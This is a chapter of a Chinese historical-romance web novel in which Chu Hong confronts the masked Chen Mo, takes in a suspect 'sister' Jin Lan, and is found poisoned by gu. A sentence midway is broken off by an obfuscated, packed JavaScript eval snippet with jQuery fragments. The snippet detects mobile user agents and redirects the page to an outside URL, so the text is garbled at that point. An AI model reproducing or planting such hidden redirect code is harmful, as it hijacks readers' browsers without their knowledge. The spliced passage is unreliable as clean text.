陈墨并没有反驳,反而愈加向她靠近,“那又如何?”
褚红不太习惯有人离自己这么近,伸手把他往外推,奈何这人像一道石墙一样推不动一点。
“你之前装的像是一个养尊处优的纯真公子一样,其实就是为了骗我那十五万两银子是吗?”
知道褚红还是听进去了赵衡的话,但那又怎么样,今日种种都说明了褚红怎么可能会恨自己?
“我以为你早就察觉到了有人在暗中帮你,不然光凭你一介孤女怎么能这么迅速的在扬州城闯出一片天地呢?”
好像这一句话就否定了她所有的努力,自己只不过是一个被承诺掌控在手里的傀儡。
陈墨的手轻轻抚上她的脸颊,手指摸向她的耳朵。
褚红现在这副样子,就像一只被非礼了的兔子一样,想要炸毛却炸不起来。
“所以你要立我为侧妃,要把我写进你们陈家的族谱里,就是为了得到这些钱。”
她的声音微微颤抖,说出这些话的时候有着自己都没有感觉到的委屈,好像期待落空,好像大梦一场。
“为什么不敢看我?”
当然是怕控制不住给你一巴掌,褚红没有把话说到明面上。
陈墨双手捧着她的脸,“你看看我。”
“我那天受了很重的伤,哪里都很痛,但我还是很想来见你,就算他再把我抓住,我也想见你。”
再次和褚红的视线对上后,陈墨的目光不由的放柔了些。
“帮我把面具摘掉。”
褚红慢慢伸出手,将他脸上那张冰冷的面具摘了下来,锋利的眉眼出现在自己的眼前,漆黑的眸子里带上了些暖意。
面具轻轻落在了地上,地上的雪花被它压出了痕迹。
褚红的唇是冰凉的,和她耳垂的温度应该是一样的,想到刚刚他们说的那四个字,陈墨一手摁紧了她的后脑,一手撑在后面的墙上。
这人是突然犯病了吗?
褚红已经再用手在掐他了,感觉到她挣扎,陈墨才将她松开。
褚红趴在他的肩膀上缓着气,陈墨另一手拥着她的腰,什么金童玉女,又不是什么好的词。
他要褚红长命百岁,岁岁平安。
“你在乎的是那十五万两银子还是更介意我骗了你?”
褚红仔细想了想,“两个都很在意。”
“既然如此,那把我赔给你吧。”
这人还真是为了点银子无所不用其极,现在连色相都开始出卖了是吗?
真至于吗?他真的是世家公子?这世家真的是正规的?
“把你分开卖你也不值十五万两银子。”
褚红站起了身,又捉过他的下巴,左右看了看,“不过要是把你送进青楼,说不定下半辈子还只能挣够十五万两。”
陈墨轻笑一声,那张原本还冷峻的脸瞬间如化冬一般,“好,等事情结束了,我一定给你挣够这十五万两银子。”
果然啊,男人的嘴骗人的鬼,怪不得富婆愿意给他们花钱呢。
褚红将他的嘴角用拇指挡住,“不准笑。”
然后仔细看了看,她又摇了摇头,这人真的不是被别人假扮的?自己印象里的陈墨怎么可能说出这种话?
“你原本就是如此浪荡吗?感觉好像两个人,该说你演技好呢?还是人格太割裂啊?”
听到褚红这话,本能的觉得不是些好词。
“在你看来,本世子到底是什么人?”
猝不及防对视上了那一双幽深的双眼,像是能把人拉进漩涡里一般,褚红有过瞬间的慌乱,她微微低头想要将手收回来,眼前男人装作浑然不知脸还往她手里凑了凑。
“你害羞了?”
瞥见女人耳边的一点红,他像是有些得逞一样轻声笑了笑。
“有什么好笑的。”褚红小声嘟哝了一句。
陈墨见她别过头,追过去将脸怼在褚红的眼前,“那你为何不正眼看我?”
还不等褚红开始怼他,那男人拉着她的手放到自己胸前,褚红的手摸到了一块硬邦邦的东西,而那下面是陈墨沉稳有力的心跳。
陈墨将她的掌心紧紧贴在自己胸口,让她摸出那块硬邦邦的东西是什么形状。
“你一直随身带着?”
“嗯。”
从他胸口传来的微微震动好像落在了自己的手掌心里,感觉自己的手掌有丝丝的微麻。
“不要生我的气,我没有他说的那么恶毒,我也只是想守护住我的东西,想要母亲平安,想要父亲活着,也想要——”
在你身边守着。
“谁在那里!”
陈墨说了一半的话卡在了嗓子眼里,褚红推了他一下,男人转身朝着后面侧门离去。
天上的雪越来越大,将刚刚陈墨的脚印埋的一干二净,白茫茫的雪地上只留下了那一个冰冷的面具,好像刚刚的所有温情都像是虚假的。
万松兴听到声音忙跑了过来,只见褚红一个人呆呆的站在那里,随着她的视线一起看到了地上的那个面具。
二丫看向一旁的少年,支支吾吾道,“我刚刚看到一个黑色的身影,以为有窃贼……”
万松兴走上前去,试探问道,“阿姐,发生什么了吗?”
他的目光看了看四周,并没有发现有什么可疑的身影。
褚红将地上的面具捡起来,轻轻浮掉了上面的落雪。
“没什么,只是刚刚有人不小心把东西忘在这里了。”
见到面具的那一刻,万松兴的视线里闪过一道人影,是那个侍卫,是他的东西。
陈墨这一次是来专门哄自己的吗?是想要更多的银子,还是不想自己误会他是个坏人?
为什么她的记忆对安朝的陈墨没有丝毫的印象?
真的是自己的历史学的太糟糕吗?还是因为陈墨这一生没有丝毫的功绩,并不值得被记载在史书上,那么为何自己对赵衡也没有印象呢?自己连亡国太子是谁都没有记住吗?
褚红抬头看向天上的雪花,款款落雪有的落在她的肩膀上,有的落在她的脸上。
或许这并不是安朝最后的一朝,只是表面上风雨欲来,实际上他的辉煌还在后面。
在看到眼前她斗篷若隐若现露出的腰带时,万松兴断定褚红在撒谎。
明明之前的腰封还是整整齐齐的,为什么现在会突然歪了一点?肯定是有人动过了,他的视线重新落到那个面具上。
“阿姐,我们进屋里去吧,外面起风了。”
一个小小的侍卫,胆子倒是不小,竟然敢生出攀附褚红的心思,简直太过自大。
褚红点点头,万松兴将斗篷的帽子给她戴上,拉上她的手,准备回屋里。
这时候的人群已经走了大半,一场大雪将他们玩闹的痕迹遮掩的干干净净。
万松兴的视线扫过大门时,看到了一道身影。
那人脖子上戴着金锁,上面雕刻着精细的兰花,她浑身看起来都有些狼狈,目光怯怯的看向院子里,少年瞳孔一缩,本能的感觉不妙。
直到那人喊了一声姐姐后,万松兴睁大眼睛,一旁的褚红松开了他的手,朝着门口快步走去。
“怎么这副模样?”
褚红满眼心疼,拉过她的手,又小心翼翼摸了摸她脸上的冻疮。
“疼吗?”
今晚猛的扑到了她的怀里,忍不住放声哭了出来。
“姐姐,我好想你。”
褚红拍拍她的后背,看来在外面受苦了,“回来就好,姐姐也很想你。”
这是哪来的西贝货?
一旁的万松兴,不由得握紧了自己的手,而后转身自己往屋里走去。
就是这个女人伤到的白玛,还抢了她的东西。
这么恶毒的女人竟然在褚红面前装的如此令人作呕,褚红为什么这么好骗!
竟然脸上一派无辜,她从褚红怀里抬头看了看,“姐姐他是谁啊?他是不是不喜欢我?”
褚红摸了摸她的头,“是我的弟弟,他只是有些孩子脾气,性子不坏的。”
她将自己身上的披风解了下来,披到了金兰身上,“外面冷,跟我进屋吧。”
将金兰安置好后褚红才回了自己的屋子,看到一旁的书房还亮着灯,就知道一定是万松兴在耍小孩子脾气。
她推门进来,少年连忙拿起一旁的书正坐在椅子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839686|164886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上装模作样的看着。
“怎么不把烛光挑亮些?这样看书多伤眼。”
万松兴和她赌气,一手将书扔到了旁边,他要看的又不是书。
“我的小少爷啊,你怎么又生气了?”
少年猛地站起来,“你都不是我阿姐了,你是别人的姐姐,来我这里做什么?”
褚红坐到一旁,不由的发笑,“怎么这么善妒啊?还没有一个姑娘家心怀大呢。”
“谁心怀大你找谁去啊。”
说完之后又有些后悔,眼睛不时看着褚红,注意着她的一举一动。
看得出来她这个弟弟不是什么有安全感的人,应该是害怕自己偏爱金兰而忽略他才使小性子的。
“我是你的阿姐也是金兰的姐姐,这并不冲突,按年龄来说你也该称她一声姐姐呢。”
听到这话万松兴的眉头不由的越皱越深。
“以后你就有两个姐姐疼爱你了,这不好吗?”
万松兴将头扭了过去,“谁要喊她姐姐,我只有阿姐一个。”
褚红叹了口气,耐着性子去哄他,“可是阿姐无法成为你一个人的呀。”
“但是无论何时,你在阿姐心目中都是最重要的家人。”
万松兴努了努嘴,“那比起那个丫头呢?”
“你是弟弟她是妹妹,两个都是阿姐最重要的人。”
虽然答案有些不尽人意,但万松兴也没指望她会说出最重要的人只有自己一个。
“无论什么时候,阿姐都在你身后,所以不要害怕,不要胆怯,不要去愤怒阿姐对别人好,也不要去乱想阿姐不会对你好。”
他像是有些听进去了,小声道,“我会听阿姐的话的。”
见褚红直盯着他,又大声说了一遍,“我会和那个丫头和平相处的。”
褚红点点头,“她命途坎坷,现在又丧父丧母,以后我们三个就是一家人了,我会保护你也会保护她。”
万松兴在一旁不耐烦的听着,如果那个死丫头有点眼色的话就不要来招惹他,不然的话,他非要把之前白玛的账一起算一算。
等到第二日的时候,两人就在饭桌上遇到了。
那女人坐在餐桌一旁,自顾自夹着菜吃着,见他出来抬头看了他一眼,像是看不到一般连个招呼也没有打。
万松兴气呼呼的坐到一旁,冷眼看她,“我阿姐呢?”
金兰慢悠悠的抬起头,“姐姐她从不吃早饭,你不知道吗?”
万松兴站起来就要走,金兰把筷子放下,喊住了他,“站住。”
“好不容易她没有这么忙能睡个懒觉,你又要去打扰她吗?”
万松兴冷哼一声,“我怎么样用不到你这个西贝货来管。”
他这话一说出口,金兰的眼神立刻阴沉了下来,眼里冒出一些杀机。
见她像是被自己吓到了,万松兴又不屑道,“不是人人都认不出你那张皮,如果你再敢挑衅我,我就亲手撕开它让褚红好好看看你到底是谁。”
万松兴去厨房端了粥和菜过来,他敲了敲褚红的房门。
“阿姐,你醒了吗?我去厨房给你端了菜和粥过来要不要吃一点?”
里面久久没有传来声响,万松兴有些怀疑,如果放往日里,褚红总会出一声的,怎么今日如此平静?
在看到褚红发紫的唇色后,万松兴手里端着的盘子摔到了地上,“阿姐!”
听到碗碎的声音,金兰也窜了进来。
再看到褚红的状况后,制止了万松兴的动作,“不要动她,这样会让毒素蔓延的更快的。”
万松兴扭过头来,双眼中布满了红色的血丝,“这祸事是你招来的?”
金兰上前一把拉开她的袖子,白皙的手腕上出现了一道婉转难看的疤痕,万松兴还来不及想她手上的疤痕是怎么产生的,一把匕首就又划了上去,黑色的血还没有流干净,肉眼可见的一条黑色的线已经朝着胸口蔓延而上。
万松兴皱眉,“这到底是怎么回事?”
“放血已经没用了,蛊毒已经侵入到她的六脏里去了。”
万松兴从自己衣摆上扯了一条布条下来,将褚红手腕处的伤口包扎好。